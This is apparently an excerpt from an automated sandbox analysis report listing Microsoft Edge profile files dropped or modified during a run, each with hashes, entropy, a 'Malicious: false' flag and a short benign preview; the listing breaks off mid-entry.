Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5........

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	322
Entropy (8bit):	5.19999678161518
Encrypted:	false
SSDEEP:	6:iOw5zrQq2Pv23oH+Tcwt8NIFUtq5zrxZmwc5zrrkwOv23oH+Tcwt8+eLJ:7w5Qv2YebpFUtq5x/c5r5bYebqJ
MD5:	4A6BFA94A0B943B8064CBC7FDCF2D972
SHA1:	457F2199AE7991CFE6E949FC5ADDE51D1EEE1D3F
SHA-256:	C337506942A02754BDC1E64A0DDC9EDC4F62F8701C753BA10484E17CC2EF2D69
SHA-512:	F1E3D4FAADEEBBC6205540A6AB5EF39521B32CA5BF79C26238EFC5FB0AEA965E02D8189A082BDDED8F7EBB6488EFDA99737A0F3BDB18D543D7CAF6B3AF6421DC
Malicious:	false
Preview:	2025/01/23-14:40:09.748 1274 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2025/01/23-14:40:09.748 1274 Recovering log #3.2025/01/23-14:40:09.748 1274 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	322
Entropy (8bit):	5.19999678161518
Encrypted:	false
SSDEEP:	6:iOw5zrQq2Pv23oH+Tcwt8NIFUtq5zrxZmwc5zrrkwOv23oH+Tcwt8+eLJ:7w5Qv2YebpFUtq5x/c5r5bYebqJ
MD5:	4A6BFA94A0B943B8064CBC7FDCF2D972
SHA1:	457F2199AE7991CFE6E949FC5ADDE51D1EEE1D3F
SHA-256:	C337506942A02754BDC1E64A0DDC9EDC4F62F8701C753BA10484E17CC2EF2D69
SHA-512:	F1E3D4FAADEEBBC6205540A6AB5EF39521B32CA5BF79C26238EFC5FB0AEA965E02D8189A082BDDED8F7EBB6488EFDA99737A0F3BDB18D543D7CAF6B3AF6421DC
Malicious:	false
Preview:	2025/01/23-14:40:09.748 1274 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2025/01/23-14:40:09.748 1274 Recovering log #3.2025/01/23-14:40:09.748 1274 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\jmjflgjpcpepeafmmgdpfkogkghcpiha\1.2.1_0\_metadata\computed_hashes.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	429
Entropy (8bit):	5.809210454117189
Encrypted:	false
SSDEEP:	6:Y8U0vEjrAWT0VAUD9lpMXO4SrqiweVHUSENjrAWT0HQQ9/LZyVMQ3xqiweVHlrSQ:Y8U5j0pqCjJA7tNj0pHx/LZ4hcdQ
MD5:	5D1D9020CCEFD76CA661902E0C229087
SHA1:	DCF2AA4A1C626EC7FFD9ABD284D29B269D78FCB6
SHA-256:	B829B0DF7E3F2391BFBA70090EB4CE2BA6A978CCD665EEBF1073849BDD4B8FB9
SHA-512:	5F6E72720E64A7AC19F191F0179992745D5136D41DCDC13C5C3C2E35A71EB227570BD47C7B376658EF670B75929ABEEBD8EF470D1E24B595A11D320EC1479E3C
Malicious:	false
Preview:	{"file_hashes":[{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","6RbL+qKART8FehO4s7U0u67iEI8/jaN+8Kg3kII+uy4=","CuN6+RcZAysZCfrzCZ8KdWDkQqyaIstSrcmsZ/c2MVs="],"block_size":4096,"path":"content.js"},{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","UL53sQ5hOhAmII/Yx6muXikzahxM+k5gEmVOh7xJ3Rw=","u6MdmVNzBUfDzMwv2LEJ6pXR8k0nnvpYRwOL8aApwP8="],"block_size":4096,"path":"content_new.js"}],"version":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History-journal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	modified
Size (bytes):	8720
Entropy (8bit):	0.2182285738090153
Encrypted:	false
SSDEEP:	3:IAslljtFlljq7A/mhWJFuQ3yy7IOWU2t4dweytllrE9SFcTp4AGbNCV9RUIjBn:IAs/I75fOc4d0Xi99pEYdB
MD5:	B6CEED5E32DF2D5FCF1535EC8BA9188D
SHA1:	EA17DBC089F63D4F44114A90A2FD49514CF1E83A
SHA-256:	D3FBD6D012CC6419A197DD0AEACA6C331F569D227F8E27D5079FF223F1BE89CA
SHA-512:	89F5AA86B4BF154FF761782FC912518DD36905B6FC71BA4142B67C046340AFA9A399EE00CFDF7097490B522CA44D43FEB30D364AEA6CA9C9BF96975A1D1FA3B6
Malicious:	false
Preview:	.............e....&....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps Icons

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 11, cookie 0x3, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	45056
Entropy (8bit):	3.9183345419898927
Encrypted:	false
SSDEEP:	384:jj9P04K773pLJcGP/KbtEgam6IvjlqQkQerkh3RKToaAu:jdm7YGP/U7lqe2khRKcC
MD5:	ED6C8FAF2C0AE735924C800FA7425A56
SHA1:	292556A8E6D9D58DCA65D5115BCF1D2326A48A7F
SHA-256:	C52A6A6C8C3E201724826E808C22E1F39DDD5605A5F858A9E965D28EB78DD71B
SHA-512:	E11163E6682F8C454A7AB6878DD555FA1104CD6AEB63F2526C1EDFDC460746BE005259722C765F388CA6D02CDB6239436D388E8CB6353DAA5FFB0E315236CC2F
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...:.8....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	406
Entropy (8bit):	5.266533189383538
Encrypted:	false
SSDEEP:	12:7wj6v2Yeb8rcHEZrELFUtqhC/chu5bYeb8rcHEZrEZSJ:7wE2Yeb8nZrExgqhbh4bYeb8nZrEZe
MD5:	BF3420B019D514173CCE0F7A99AD98D7
SHA1:	706E2AAE7D000119EE38AAF50D9A5A3A177E8EFA
SHA-256:	06EF6FD04CA6C74B286133801D6E54D0528C1B77C57009D681B9920CF73D4CEE
SHA-512:	443FB54D74A56DA02E1C03A41A647757A70211F510B98043037C9B4B5A92ACB8137280DECD0BB4FE2E1DA3525931442DC76B3DF1E3F123BEE5CBBDD078AAE260
Malicious:	false
Preview:	2025/01/23-14:40:12.506 1274 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2025/01/23-14:40:12.507 1274 Recovering log #3.2025/01/23-14:40:12.507 1274 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	406
Entropy (8bit):	5.266533189383538
Encrypted:	false
SSDEEP:	12:7wj6v2Yeb8rcHEZrELFUtqhC/chu5bYeb8rcHEZrEZSJ:7wE2Yeb8nZrExgqhbh4bYeb8nZrEZe
MD5:	BF3420B019D514173CCE0F7A99AD98D7
SHA1:	706E2AAE7D000119EE38AAF50D9A5A3A177E8EFA
SHA-256:	06EF6FD04CA6C74B286133801D6E54D0528C1B77C57009D681B9920CF73D4CEE
SHA-512:	443FB54D74A56DA02E1C03A41A647757A70211F510B98043037C9B4B5A92ACB8137280DECD0BB4FE2E1DA3525931442DC76B3DF1E3F123BEE5CBBDD078AAE260
Malicious:	false
Preview:	2025/01/23-14:40:12.506 1274 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2025/01/23-14:40:12.507 1274 Recovering log #3.2025/01/23-14:40:12.507 1274 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1656
Entropy (8bit):	5.651536864770312
Encrypted:	false
SSDEEP:	48:XZI07jTpnpXRaV03Sx4fyymTERHHS2/48ylsT:XbjTp9RQtsTQ8osT
MD5:	EF00FAC22725EB06273B4E5AA5467795
SHA1:	02842B90464032EA110996B717C765A8E19D37E7
SHA-256:	F9FAEE9A98CA55E78C5DF00303A950E4F7F37789336A70917A8919C05D30A82D
SHA-512:	8453AC484DB0E9BF859AD81708523ED8931759FCD08FE05BBDF28F750700AC68CB1F396C944CAE535CEE8E7B8E8E03018332FEDC46C857A1BF7AF98F704E834D
Malicious:	false
Preview:	...................VERSION.1..META:https://ntp.msn.com.............!_https://ntp.msn.com..LastKnownPV..1737661217503.-_https://ntp.msn.com..LastVisuallyReadyMarker..1737661219825.._https://ntp.msn.com..MUID!.36CB6A348F62672B3E3A7F498E00663A.._https://ntp.msn.com..bkgdV...{"cachedVideoId":-1,"lastUpdatedTime":1737661217612,"schedule":[9,11,-1,-1,-1,-1,4],"scheduleFixed":[9,11,-1,-1,-1,-1,4],"simpleSchedule":[41,28,12,32,26,49,44]}.%_https://ntp.msn.com..clean_meta_flag..1.5_https://ntp.msn.com..enableUndersideAutoOpenFromEdge..false.&_https://ntp.msn.com..oneSvcUniTunMode..header."_https://ntp.msn.com..pageVersions..{"dhp":"20250123.293"}.*_https://ntp.msn.com..pivotSelectionSource..sticky.#_https://ntp.msn.com..selectedPivot..myFeed.5_https://ntp.msn.com..ssrBasePageCachingFeatureActive..true.#_https://ntp.msn.com..switchedPivot..myFeed.O_https://ntp.msn.com..Thu Jan 23 2025 14:40:17 GMT-0500 (Eastern Standard Time).!_https://ntp.msn.com..storageTest.....................META:https:/

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	334
Entropy (8bit):	5.198297920663242
Encrypted:	false
SSDEEP:	6:iOw5z4i+q2Pv23oH+Tcwt8a2jMGIFUtq5zQZZmwc5zAVkwOv23oH+Tcwt8a2jMmd:7wCzv2Yeb8EFUtqKZ/cW5bYeb8bJ
MD5:	F74005250EFC93A1BC9ADC7DEBD1B4EE
SHA1:	D2B90FA3A625F30EBD8BBA3E9A91E70FF11EA037
SHA-256:	D9191D44555F14B7A375645ACBFAAA5D727FFA942227A7BA67C68C047442DACB
SHA-512:	BC8E184A8C09D8B43CDCFDD7B7B049EB612162B59E53EE8D21566D8750749BCD2C64DF00CFDC2481BD1C8DE8A799881D22A7EC565B4B57AD9CDD78431DB6457B
Malicious:	false
Preview:	2025/01/23-14:40:08.927 1168 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2025/01/23-14:40:08.931 1168 Recovering log #3.2025/01/23-14:40:08.935 1168 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	334
Entropy (8bit):	5.198297920663242
Encrypted:	false
SSDEEP:	6:iOw5z4i+q2Pv23oH+Tcwt8a2jMGIFUtq5zQZZmwc5zAVkwOv23oH+Tcwt8a2jMmd:7wCzv2Yeb8EFUtqKZ/cW5bYeb8bJ
MD5:	F74005250EFC93A1BC9ADC7DEBD1B4EE
SHA1:	D2B90FA3A625F30EBD8BBA3E9A91E70FF11EA037
SHA-256:	D9191D44555F14B7A375645ACBFAAA5D727FFA942227A7BA67C68C047442DACB
SHA-512:	BC8E184A8C09D8B43CDCFDD7B7B049EB612162B59E53EE8D21566D8750749BCD2C64DF00CFDC2481BD1C8DE8A799881D22A7EC565B4B57AD9CDD78431DB6457B
Malicious:	false
Preview:	2025/01/23-14:40:08.927 1168 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2025/01/23-14:40:08.931 1168 Recovering log #3.2025/01/23-14:40:08.935 1168 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\5384413c-0444-4a99-9f04-84ee45965217.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\7d61e368-a6db-4133-92e0-9882d98d1e34.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 8, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	2.7851818492951663
Encrypted:	false
SSDEEP:	96:te+AuHnTGtgMAYZP/ZkSkeqj5h63Zdo90oxtfiuJDXckO0L/ZJV8Y:tTHTGiMnFZk7fepduVtlXcf0L/ZJVb
MD5:	A364B419A97CAD8910099988B9104B83
SHA1:	EB1FF0C0080CE3311B133C21CC63F7CF7337634D
SHA-256:	BA7A6AAFC9C748849C3857D38D68C303AB0590C3F9C2EF3752575FEA5C39F67C
SHA-512:	CD9DCA98C3971315CA2D5B0FDD0E78DEDB24D4E92088C6F013849B4E246971B19B160380A08BACBBC8512F79A4AB8D4D052F6FA23738C887B526EE4C0B582C80
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Reporting and NEL

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 9, cookie 0x4, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	1.377075485982501
Encrypted:	false
SSDEEP:	48:TaIopKWurJNVr1GJmA8pv82pfurJNVrdHXuccaurJN2VrJ1n4n1GmzNGU1cShCWd:uIEumQv8m1ccnvSeNJlGFh5Bkv6aw1a
MD5:	392F411FA8FCB18EA6C99DECAC20708B
SHA1:	D9302CE644DCD206209AD85EAF642EA984B3F5B4
SHA-256:	915C5C574A638F08E3FC787C786C810FD0D31D4626E093B532BAA69899BA5D91
SHA-512:	04B41059BE5D37B7459A6903A464561F1542FA7883FE08D3E2EB5E451E80EFAE0792F723885CCA5D84B6766DA669971657E706EDE78630A187549C7C0AED8CBB
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...D.........7............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF47a3d.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF48d0a.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\e9e54be0-2938-4927-899d-779037e10305.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\f8e596b8-f591-49be-8dc8-7a162b96b750.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Nurturing\campaign_history

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8350301952073809
Encrypted:	false
SSDEEP:	24:TLSOUOq0afDdWec9sJlAMoqsgC7zn2z8ZI7J5fc:T+OUzDbg3sAM/sgCnn2ztc
MD5:	0DAD8D7F079797377CD56DAE47E1A619
SHA1:	A353C01C5B9BA9E0315ABA74D3337B7D6EE97CB2
SHA-256:	7BDA584E0C1BE9E104065370FD279A7E771D7EB4F7E4CC7C80F146931F150E33
SHA-512:	5A57C0D303672564DDEAA08B5DAAEE1BA24B67C46100720CE69F0908427ACE55F330D96A772D0E1F96B595FBBD70E6145AA464FC4F312EFE095F9AC909E304E8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	12982
Entropy (8bit):	5.205350643670113
Encrypted:	false
SSDEEP:	192:stKJ99QTryDiuabatSuypssIs65WU8MklQMEu8abV+FUxQwP5oVQP5YJ:stKPGQSu4ssIs6+OobGUQwmVP
MD5:	FE42B7E378E37CABCAA121A9C645E79A
SHA1:	6991365D766BA826BE463B67B7501F248451D00F
SHA-256:	A7940CDC8ABE2379B7FEA7ED1DC0B72E2E1E3CFAB72928F4A20A091B640FD99D
SHA-512:	46C8E9464575011A4E38E79CC430AF3792BE8B38FF5DA49E734CE9B793A53B197721816496B2B461140F0E67DC10D2E62AC222AF1D00AA1A9D9B13847C79941F
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13382134809377565","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340982026942753","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF4b3fa.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	12982
Entropy (8bit):	5.205350643670113
Encrypted:	false
SSDEEP:	192:stKJ99QTryDiuabatSuypssIs65WU8MklQMEu8abV+FUxQwP5oVQP5YJ:stKPGQSu4ssIs6+OobGUQwmVP
MD5:	FE42B7E378E37CABCAA121A9C645E79A
SHA1:	6991365D766BA826BE463B67B7501F248451D00F
SHA-256:	A7940CDC8ABE2379B7FEA7ED1DC0B72E2E1E3CFAB72928F4A20A091B640FD99D
SHA-512:	46C8E9464575011A4E38E79CC430AF3792BE8B38FF5DA49E734CE9B793A53B197721816496B2B461140F0E67DC10D2E62AC222AF1D00AA1A9D9B13847C79941F
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13382134809377565","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340982026942753","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF4fbf0.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
